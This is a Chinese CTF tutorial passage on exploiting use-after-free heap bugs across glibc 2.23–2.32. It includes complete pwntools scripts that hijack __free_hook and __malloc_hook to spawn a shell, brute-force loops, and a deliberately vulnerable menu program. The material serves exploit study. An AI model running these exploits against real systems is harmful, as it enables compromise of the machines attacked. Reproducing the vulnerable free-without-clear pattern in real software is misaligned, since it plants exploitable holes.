add_malloc(0x48,'/bin/sh\x00') #idx 0xa add_malloc(0x48,'/bin/sh\x00') #idx 0xb free (0xa ) free (0xb ) edit(0xb,0x8,p64(libc_base+libc.sym['__free_hook'])) add_malloc(0x48,'/bin/sh\x00') #idx 0xc add_malloc(0x48,p64(libc_base + libc.sym['system']))#idx 0xd free (0xc ) it() i = 0 while True: i = i + 1 try : p = process ("./note" ) lg("Times:" ,i) pwn() except EOFError: p.close () continue except Exception: p.close () continue else : p.interactive() break
当然这种解法有点没效率,因为需要同时爆破Libc和heap的各半个字节,总共一个字节,总的来说数学期望为1/256。但是观察上面我们可以看到由于tcache机制,同处于0x100一个内存页下的Chunk前面的都一样,不用爆破,那么只需要修改最后一个字节即可完成tcache链表的修改,这样爆破的期望就下降到了半个字节,数学期望1/16,明显提升了很大效率
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 #注释头 def pwn () : global p heap_base = leak_heap() libc_base = leak_libc() - libc.sym['printf'] elf_base = leak_elf() - elf.sym['main'] log .info("heap_base:0x%x" %heap_base) log .info("libc_base:0x%x" %libc_base) log .info("elf_base:0x%x" %elf_base) add_malloc(0x1000-0x8-0x250,'PIG007NB') guess_libc = 0xd000 guess_IO = guess_libc + libc.sym['_IO_2_1_stdout_'] lg("guess_IO" ,guess_IO) tcacheMalloc(0x98 ) #idx 0x1~0x7 add_malloc(0x98 ,"\x00" *0x98 ) #idx 0x8 add_malloc(0x98 ,"\x00" *0x98 ) #idx 0x9 add_malloc(0x38 ,"\x01" *0x38 ) #idx 0xa add_malloc(0x38 ,"\x02" *0x38 ) #idx 0xb add_malloc(0x38 ,"\x03" *0x38 ) #idx 0xc add_malloc(0x38 ,'\x04' *0x38 ) #idx 0xd #write libc addr tcacheDelete(0x1 ) free (0x9 ) add_malloc(0x38 ,p16((guess_IO)&0xffff )) #idx 0xe #show(0x1) #libc_base_attempt = u64Leakbase(libc.sym['_IO_2_1_stdout_']) #lg("libc_base_attempt" ,libc_base_attempt) #change 0x40 link_list free (0xa ) free (0xc ) edit(0xc ,0x1 ,'\x10' ) add_malloc(0x38 ,'\x05' *0x38 ) #idx 0xf add_malloc(0x38 ,'\x06' *0x38 ) #idx 0x10 add_malloc(0x38 ,p64(0xfbad1800 ) + p64(0 )*3 + '\x00' )#idx 0x11 libc_base = u64Leakbase(0x3b5890 ) lg("libc_base" ,libc_base) add_malloc(0x48,'/bin/sh\x00') #idx 0x12 add_malloc(0x48,'/bin/sh\x00') #idx 0x13 free (0x12 ) free (0x13 ) edit(0x13,0x8,p64(libc_base+libc.sym['__free_hook'])) add_malloc(0x48,'/bin/sh\x00') #idx 0x14 add_malloc(0x48,p64(libc_base + libc.sym['system']))#idx 0x15 free (0x14 ) it() i = 0 while True: i = i + 1 try : p = process ("./note" ) lg("Times:" ,i) pwn() except EOFError: p.close () continue except Exception: p.close () continue else : p.interactive() break
▲爆破题外话:之前没怎么发现,这里发现PIE+ASLR出来的Libc地址开头可能是0x7e,而且中间也有可能会出现\x00的情况,这样就很容易使得我们爆破的次数直线上涨,所以在调试好了之后,爆破会加入
1 2 3 4 5 6 7 context.timeout = 0.5 except Exception: p.close() continue
来简单对抗这两种变化,防止爆破中断。
(4)UAF+无Leak+Size做限制: 一般很多tcache的题都会对size做限制,要么小,要么大。但是其实对于tcache的UAF来说,没啥大用,都能绕过,不像fastbin一样,需要在目的地址伪造size。所以这里基本上修改一下size都可以得到对应解法,这种题目更多应该是考察堆布局的能力。需要有一个对于所有chunk进行布局的能力,最好准备草稿纸写写画画(excel也行)…..
四、Glibc2.31 1.部分手段失效 (1)原始largebin attack失效 从2.30开始将从unsortebin放入largebin的代码中在size比较的其中一个分支新增检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 if ((unsigned long ) (size ) < (unsigned long ) chunksize_nomask (bck->bk)){ fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long ) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long ) size == (unsigned long ) chunksize_nomask (fwd)) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)" ); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)" ); }
即当发生从unsortedbin中转移到largbin中时,如果unsortedbin中要转移的chunk的size大于largebin中原本就有的尾部chunk的size,就会触发新增的检查。否则,则不会触发新增的检查。
而新增检查的意思其实就是检查双向链表的完整性,这和之前unsortedbin失效加入的检查如出一辙。
1 2 3 4 if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)" );
1 2 3 4 if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)" );
但是由于当size小于的时候没有检查,所以largebin attack还是可以用的,只要unsortedbin中要放入largebin中的chunk的size小于largebin中chunk的size即可,但是这里的largebin attack已经被降级,相比之前的两个地址任意写,限制只能写一个地址了。
(2)Tcache结构扩大 之前版本的tcache中count一直是一个字节,这回从2.30开始就变成了两个字节:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; typedef struct tcache_perthread_struct { uint16_t counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
所以tcache的结构体也从0x250扩大为0x290
(3)删除了一些assert 在2.30版本及之后,删除了一些有关tcache的assert
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->key = tcache; e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); e->key = tcache; e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0 ); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; } tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; }
以前就想着是不是能像控fastbinY溢出一样来控tcache溢出呢,但在2.29及以前肯定是不行的,因为有assert存在。就算修改了mp_.tcache_bins,成功进入tcache_put也会因为assert(tc_idx<TCACHE_MAX_BINS)的断言使得程序退出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 if (tcache && tc_idx < mp_.tcache_bins){ mchunkptr tc_victim; while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL ) { if (SINGLE_THREAD_P) *fb = tc_victim->fd; else { REMOVE_FB (fb, pp, tc_victim); if (__glibc_unlikely (tc_victim == NULL )) break ; } tcache_put (tc_victim, tc_idx); } } if (tc_idx < mp_.tcache_bins && tcache && tcache->counts[tc_idx] > 0 ) { return tcache_get (tc_idx); }
但是新版本删去了这个操作,那么如果我们能够修改mp_.tcache_bins,就将能够调用tcache_put函数,将tcache结构体往后溢出,就像修改global_max_fast一样,实在是有点逗,不知道为什么新版本要删掉,这个就引入了一种新的方法:glibc 2.27-2.32版本下Tcache Struct的溢出利用 - 安全客,安全资讯平台 (anquanke.com) 。这个我个人还是觉得这位师傅讲的还是有点出入,因为是2.30才删去的,2.29及以前是不存在这种方法的,包括用2.29调试也是的。
(4)对count新增了一些限制 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (tc_idx < mp_.tcache_bins && tcache && tcache->entries[tc_idx] != NULL ) { return tcache_get (tc_idx); } if (tc_idx < mp_.tcache_bins && tcache && tcache->counts[tc_idx] > 0 ) { return tcache_get (tc_idx); }
从2.30开始在_libc_malloc
中准备从tcache中申请时,会判断counts[tc_idx]
是否大于0,不大于0则不会从tcache中申请。所以有时候我们使用直接修改fd的办法需要考虑到数量是否会被清0。但是在_int_free
中却没有新增类似的检查。
2.UAF常见限制 (1)UAF+Leak+Size不做限制: 这里也不需要多讲,放入unsortedbin后直接泄露地址之后任意申请就完了。
(2)UAF+Leak+Size做限制: 结合之前的,小Chunk就修改size,可以放入unsortedbin的就填满Tcache之后放入泄露地址后任意申请即可。
(3)UAF+无Leak+Size不做限制: 其实和2.29差不多,只是失效了一些手段,比如传统的largebin attack失效。而之前在2.29中讲到的相关方法其实也一样可以直接用上。爆破_IO_2_1_stdout泄露地址,之后任意申请修改__free_hook即可。
(4)UAF+无Leak+Size做限制: 同样还是需要通过堆布局来修改size,制造unsortedbin chunk。
五、Glibc2.32 1.新增机制 (1)Tcache和Fastbin新增指针异或检查的safe-linking机制 ①引入一个宏定义
1 2 3 #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t ) pos) >> 12 ) ^ ((size_t ) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
②实际应用
Tcache中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); e->key = tcache; e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]); tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("malloc(): unaligned tcache chunk detected" ); tcache->entries[tc_idx] = REVEAL_PTR (e->next); --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; }
Fastbin中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 if (SINGLE_THREAD_P){ if (__builtin_expect (old == p, 0 )) malloc_printerr ("double free or corruption (fasttop)" ); p->fd = PROTECT_PTR (&p->fd, old); *fb = p; } else do { if (__builtin_expect (old == p, 0 )) malloc_printerr ("double free or corruption (fasttop)" ); old2 = old; p->fd = PROTECT_PTR (&p->fd, old); } while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
再加上其他
1 2 3 4 5 6 7 8 9 10 11 12 13 p->fd = PROTECT_PTR (&p->fd, old); p = REVEAL_PTR (p->fd); tcache_tmp->entries[i] = REVEAL_PTR (e->next); *fb = REVEAL_PTR (victim->fd); *fb = REVEAL_PTR (tc_victim->fd); tmp = REVEAL_PTR (tmp->next)) nextp = REVEAL_PTR (p->fd);
1 2 3 4 5 6 7 8 9 10 11 12 #define REMOVE_FB(fb, victim, pp) \ do \{ \ victim = pp; \ if (victim == NULL ) \ break ; \ pp = REVEAL_PTR (victim->fd); \ if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ malloc_printerr ("malloc(): unaligned fastbin chunk detected" ); \ } \ while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ != victim); \
等多多少少用到tcache和fastbin的地方。而unsortebin、largebin、smallbin都不会进行相关指针异或。
(2)新增机制Safe-linking的漏洞 ①规律性
官方说的是
基于ASLR之后的堆地址,即Key值为第一个进入该大小TcacheBin链的chunk的地址右移12bit得到,对于Fastbin也是一样的。
②特殊性
虽说FD被加密,但是由于是异或的关系,在UAF的特殊条件下其实是可以控制FD指向其他堆块的。
比如说我们进行一定的堆布局,尝试将堆块集中在0x100内,然后可以爆破1个字节来进行计算:
这里就chunk4->chunk3->chunk2->chunk1。
这里就假设我们爆破1字节后已经知道了heapbase/0x1000左移12bit的最后一个字节为0x59。现在进行计算一下,如果我们想把chunk4的FD指向chunk1在没有Leak的情况下应该怎么修改?
计算0x10^0x59=0x49,所以如果我们利用UAF部分写chunk4的FD的第一个字节为0x49,那么实际上其实指向的就是chunk1。这个在没有泄露地址而Size又做限制导致只能用Fastbin和Tcache时,可以采用这种方法爆破。所以实际上的期望应该是1/256,这个尝试一下应该就可以实现的。
(3)新增Tcache地址对齐检查 ①tcache_get中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("malloc(): unaligned tcache chunk detected" ); tcache->entries[tc_idx] = REVEAL_PTR (e->next); --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; } tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; }
可以看到在tcache_get中新增了一个检查
1 2 if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("malloc(): unaligned tcache chunk detected" );
这个导致了我们的tcache不能任意申请了,必须是0x10对齐的 ,这个可能会导致不少的手段变化。
②tcache结构释放函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 tcache_thread_shutdown (void ) { int i; tcache_perthread_struct *tcache_tmp = tcache; if (!tcache) return ; tcache = NULL ; tcache_shutting_down = true ; for (i = 0 ; i < TCACHE_MAX_BINS; ++i) { while (tcache_tmp->entries[i]) { tcache_entry *e = tcache_tmp->entries[i]; if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("tcache_thread_shutdown(): " "unaligned tcache chunk detected" ); tcache_tmp->entries[i] = REVEAL_PTR (e->next); __libc_free (e); } } __libc_free (tcache_tmp); }
1 2 3 if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("tcache_thread_shutdown(): " "unaligned tcache chunk detected" );
即当程序退出,释放tcache结构体时会加入对tcache中所有chunk进行地址对齐检查,但是这个对exit()的攻击没什么影响。
③Tcache中double free检查中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (__glibc_unlikely (e->key == tcache)){ tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2 , e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = REVEAL_PTR (tmp->next)) { if (__glibc_unlikely (!aligned_OK (tmp))) malloc_printerr ("free(): unaligned chunk detected in tcache 2" ); if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2" ); } }
1 2 if (__glibc_unlikely (!aligned_OK (tmp))) malloc_printerr ("free(): unaligned chunk detected in tcache 2" );
当tcache进行Free的double free检查时,如果tcache中第一个bin的chunk地址不对齐,也会错误。其实最开始不太理解,想这能有啥用,最开始Free的时候不就已经进行地址对齐检查了吗。后面想到由于stashing机制,可能会将地址不合法的Chunk放入到tcache中,所以再进行对应Bin大小的chunk释放时,进行检查提高安全性吧。这个我们在利用的时候也需要注意下,别到时候得到了用Stashing机制放入一个不合法chunk之后再free导致程序出错了。
想感叹一下,在2.31及以下版本,只有在_int_free函数中才有一个地址对齐检查,这2.32突然加了好几个,真是挺猛的。
2.UAF常见限制 (1)UAF+Leak+Size不做限制: 这个如上图中就可以直接leak出chunk1的内容得到key,然后释放unsortedbin chunk泄露libc地址后,利用key异或对应地址即可任意申请。
(2)UAF+Leak+Size做限制: 一样的,Leak出key之后,修改size得到unsortedbin chunk之后泄露libc地址,异或改掉FD任意申请chunk。
(3)UAF+无Leak+Size做限制: 这条件下的想半天实在没想出来,爆破两个字节倒是可以申请到Tcache结构体,但是两个字节的期望却达到了0xffff=65535,实际的线上CTF中可能爆出来黄花菜都凉了。
▲爆破两字节申请Tcache Struct:
比如我们先爆破一个字节,使得heapbase的地址为0xabcde5500000
然后我们按照上述方法,用一定堆布局,计算一下地址
异或之后的地址应该为:
1 2 chunk1: 0xabcde5500400 ^ 0xabcde5500 = 0 x--(0x0400 ^0x5500 ) TcacheStruct: 0xabcde5500000 ^ 0xabcde5500 = 0 x--(0x0000 ^0x5500 )
那么就可以直接该指向chunk1地址的最后两个字节为5500即可指向Tcache结构体,然后释放进入unsortedbin踩下libc地址再爆破申请stdout泄露地址,这样又会出来半个字节爆破空间。即0xfffff=1048575,直接GG。
▲size做限制其实没差别,可以爆破一个字节来修改的。
总结 当然,UAF其实是特别好利用的一种,高版本下也对应有很多的骚操作,比如
house of pig
:house of pig一个新的堆利用详解 - 安全客,安全资讯平台 (anquanke.com)
house of banana
:house of banana - 安全客,安全资讯平台 (anquanke.com)
等等现在大多的题目都是off by null + 堆布局,尤其是堆布局这一块,实在是无比考验对堆的理解,因为万一其中哪个地方想错,直接就得推倒重来。
不同libc版本下UAF的利用手法总结 参考学习(抄)安全客@lemon 文章
pwn方向涉及的libc版本众多,不同版本之间的堆块在组织方式上都有差别,本文来通过同一个UAF的demo程序,学习不同版本libc下的利用手法,包括libc2.23,libc2.27,libc2.31和libc2.32下的利用手法。
程序源码如下,给出了较为宽松的堆块编辑方式和组织方式,方便讨论利用手法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 #include <stdio.h> #include <stdlib.h> #include <unistd.h> size_t sizearray[20 ];char *heaparray[20 ];void myinit () { setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); } void menu () { puts ("1.add" ); puts ("2.edit" ); puts ("3.delete" ); puts ("4.show" ); puts ("5.exit" ); puts ("choice> " ); } void add () { int i; int size ; char temp[8 ]; puts ("index?" ); read (0 , temp, 8 ); i = atoi(temp); if (i > 20 ) exit (0 ); puts ("size?" ); read (0 , temp, 8 ); size = atoi(temp); if (size > 0 && size < 0x500 ) sizearray[i] = size ; else exit (0 ); char *p = malloc (size ); heaparray[i] = p; puts ("content:" ); read (0 , p, size ); } void edit () { int i; char temp[8 ]; puts ("index?" ); read (0 , temp, 8 ); i = atoi(temp); if (heaparray[i]) { puts ("content:" ); read (0 , heaparray[i], sizearray[i]); } } void show () { int i; char temp[8 ]; puts ("index?" ); read (0 , temp, 8 ); i = atoi(temp); if (heaparray[i]) puts (heaparray[i]); } void delete () { int i; char temp[8 ]; puts ("index?" ); read (0 , temp, 8 ); i = atoi(temp); if (heaparray[i]) free (heaparray[i]); } int main () { int choice; myinit(); menu(); scanf ("%d" , &choice); while (1 ) { if (choice == 1 ) add(); if (choice == 2 ) edit(); if (choice == 3 ) delete (); if (choice == 4 ) show(); if (choice == 5 ) exit (0 ); menu(); scanf ("%d" , &choice); } return 0 ; }
2.23 2.23的UAF是比较经典的利用手法了,此时libc还没有引入tcache结构,仅仅通过fastbin来管理较小的chunk,在libc2.23下可以利用fastbin attack来攻击__malloc_hook来getshell。
具体步骤,是先通过申请一个属于unsorted bin大小的堆块,利用UAF+binary的show功能来泄露libc的基地址,再通过uaf申请满足fastbin大小的chunk,并修改其fd指针,将__malloc_hook周围满足检查的地址链到fastbin中,再次申请相同大小的chunk即可将其取出,修改为one_gadget即可getshell。
修改malloc_hook的原因是在 libc_malloc中会先于分配过程检查malloc_hook是否为空,若不为空则调用。 malloc_hook在首次malloc的时候会用作初始化相关的工作来使用,往后其值为0,因为在从fastbin中取chunk的过程中会检查size是否合法,所以要在malloc_hook周围找出一块合法的地址,经验来说,在 malloc_hook – 0x23的位置处有一个合法的size位,可以用来伪造chunk。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *local = 1 binary = './UAF_glibc2.23' libc_path = './libc-2.23.so' port = 0 if local == 1 : p = process(binary) def dbg () : context.log_level = 'debug' def add (index, size, content) : p.sendlineafter('>' , '1' ) p.sendafter('index' , str(index)) p.sendafter('size' , str(size)) p.sendafter('content:' , content) def edit (index, content) : p.sendlineafter('>' , '2' ) p.sendafter('index' , str(index)) p.sendafter('content:' , content) def show (index) : p.sendlineafter('>' , '4' ) p.sendafter('index' , str(index)) def free (index) : p.sendlineafter('>' , '3' ) p.sendafter('index' , str(index)) message = "======================== LEAK LIBC ADDRESS =======================" success(message) add(2 , 0x100 , '2' ) add(3 , 0x10 , 'protect' ) free(2 ) add(2 , 0x30 , 'aaaaaaaa' ) show(2 ) libc = ELF(libc_path) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 344 - 0x10 - libc.sym['__malloc_hook' ] __malloc_hook = libc_base + libc.sym['__malloc_hook' ] success("libc:{}" .format(hex(libc_base))) message = "======================== FASTBIN ATTACK =======================" success(message) add(0 , 0x60 , 'aaaa' ) free(0 ) edit(0 , p64(__malloc_hook - 0x23 )) add(1 ,0x60 ,'a' ) og = libc_base + 0xd5bf7 add(2 ,0x60 ,0x13 * b'\x00' + p64(og)) message = "======================== TRIGGER MALLOC HOOK =======================" success(message) p.sendlineafter('>' , '1' ) p.sendafter('index' , '1' ) p.sendafter('size' , '1' ) p.interactive()
2.27 libc2.27在更新后,malloc源码发生了变化,基本上和libc2.31的源码一样,引入了key指针来避免double free,所以我们在2.27下的利用手法和2.31下的利用手法基本一致,直接篡改key指针即可绕过检查。
在老版libc下关于tcache的俩结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 typedef struct tcache_entry { struct tcache_entry *next ; } tcache_entry; typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
从tcache中拿堆块的函数tcache_get()
1 2 3 4 5 6 7 8 9 10 11 12 static __always_inline void *tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0 ); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); return (void *) e; }
free后放入tcache中的函数tcache_put()
1 2 3 4 5 6 7 8 9 10 11 static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); }
tcache bin和fastbin的管理方式很像,都采用FILO的单链表(理解为数据结构中的栈),但是tcache的优先级更高,并且在bin中,fastbin的fd指针指向上一个chunk的头部,而tcache会指向上一个chunk的数据部分。
旧版libc2.27中,tcache结构体没有引入key指针,可以随意double free,在UAF下,使得利用手法更为容易,并且在分配的过程中没有对size进行检查,所以在旧版libc2.27下很常见的一种利用手法就是填满tcache后,申请unsorted bin大小的chunk利用UAF进行地址泄露,利用tcache随意double free的特性来修改__free_hook指针为onegadget,原理同\ _malloc_hook。
2.31 在libc2.31中,我们查看tcache的相关结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 typedef struct tcache_entry { struct tcache_entry *next ; struct tcache_perthread_struct *key ; } tcache_entry; typedef struct tcache_perthread_struct { uint16_t counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
从tcache中拿堆块的函数tcache_get()
1 2 3 4 5 6 7 8 9 10 11 12 static __always_inline void *tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; }
free后放入tcache中的函数tcache_put()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); e->key = tcache; e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); }
key字段用于检测是否存在double free,在_int_free中有这样一段代码来检测tcache中的double free
1 2 3 4 5 6 7 8 9 10 11 12 if (__glibc_unlikely (e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2 , e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2" ); }
这段代码的意思就是如果key值等于tcache的地址,那么就进入tcache的链表,然后后移,判断当前堆块是否在链表中,如果在链表中,那么很显然就是double free了。绕过方法很简单,利用漏洞改掉key值即可,直接给干掉if判断了,就不会进入这个if分支了。
在UAF下的利用手法为首先填满tcache,然后申请unsorted bin大小的chunk,利用UAF泄露libc基址,最后通过修改tcache的指针轻松的将堆块申请到__free_hook,修改为system地址,然后free一个chunk,chunk的内容为”/bin/sh\x00”即可轻松getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import *local = 1 binary = './UAF_glibc2.31' libc_path = './libc-2.31.so' if local == 1 : p = process(binary) def dbg () : context.log_level = 'debug' def add (index, size, content) : p.sendlineafter('>' , '1' ) p.sendafter('index' , str(index)) p.sendafter('size' , str(size)) p.sendafter('content:' , content) def edit (index, content) : p.sendlineafter('>' , '2' ) p.sendafter('index' , str(index)) p.sendafter('content:' , content) def show (index) : p.sendlineafter('>' , '4' ) p.sendafter('index' , str(index)) def free (index) : p.sendlineafter('>' , '3' ) p.sendafter('index' , str(index)) message = "======================== LEAK HEAP ADDRESS ======================" success(message) for i in range(7 ): add(i, 0x80 , 'a' ) add(7 , 0x80 , 'b' ) for i in range(7 ): free(i) add(8 , 0x10 , 'protected' ) free(7 ) add(8 , 0x40 , '\n' ) show(8 ) libc = ELF(libc_path) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) - 138 - 0x10 - libc.sym['__malloc_hook' ] log.success("LIBC:" + hex(libc_base)) __free_hook = libc_base + libc.sym['__free_hook' ] message = "======================== TCACHE ATTACK ======================" success(message) system = libc_base + libc.sym['system' ] edit(6 , p64(__free_hook)) add(0 , 0x80 , 'hacker' ) add(0 , 0x80 , p64(system)) add(0 , 0x10 , '/bin/sh\x00' ) free(0 ) p.interactive()
最后谈一下libc2.27和libc2.31的一些小tips,当我们攻击tcache_perthread_struct时,很常见的一个做法就是来将其记录counts的区域全部覆盖填满,这样我们再次申请的chunk可逃逸出tcache,在libc2.27中counts[TCACHE_MAX_BINS]的类型为char,即在相应size的位置上记录数量的大小是一个字节,而在libc2.31中相应的类型为uint16_t,大小是两个字节,所以我们之前的payload通常是b"\x07" * 0x40
(从trcache_perthread_struct的数据区开始填充),在libc2.31中,payload需要改写成b"\x07" * 0x80
,因为大小多了一倍,也相应的需要增加padding。
2.32 环境搭建
下载好源码后新建一个文件夹用于存放源码
新建一个文件夹用于存放编译后的libc
1 2 3 4 5 6 cd /glibc/glibc-2.32_src/ # 源码在这 sudo mkdir build cd build CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og" CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og" sudo ../configure --prefix=/glibc/2.32/ # 存放编译后的libc
若想调试malloc和free的过程,进入gdb后directory /glibc/glibc-2.32_src/malloc/
,其中第二个位置填我们下载的glibc源码路径。
记得binary程序需要使用patchelf修改ld加载器和libc
1 2 patchelf --set-interpreter /glibc/2.32/lib/ld-2.32.so LD_PRELOAD=/glibc/2.32/lib/libc-2.32.so ./binary
跟踪调试 我们简单写一个malloc和free的demo示例程序,使用gdb来调试malloc和free的过程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <stdlib.h> int main () { void * p[20 ]; p[0 ] = malloc (0x80 ); p[1 ] = malloc (0x80 ); free (p[0 ]); free (p[1 ]); p[2 ] = malloc (0x80 ); return 0 ; } In file: /home /lemon/Documents/pwn/UAF/2.32 /tcache_32.c 3 int main () 4 { 5 void * p[20 ]; 6 p[0 ] = malloc (0x80 ); 7 p[1 ] = malloc (0x80 ); ► 8 free (p[0 ]); 9 free (p[1 ]); 10 p[2 ] = malloc (0x80 ); 11 }
free过程 我们定位到第八行后,按s步入free的过程
一直走到_int_free函数,步入此函数
向后运行,准备调用tcache_put函数将当前准备free的chunk放入tcache结构体中
tcache相关的结构体如下,可以发现其实相对于libc-2.31的代码tcache结构体没有发生变化
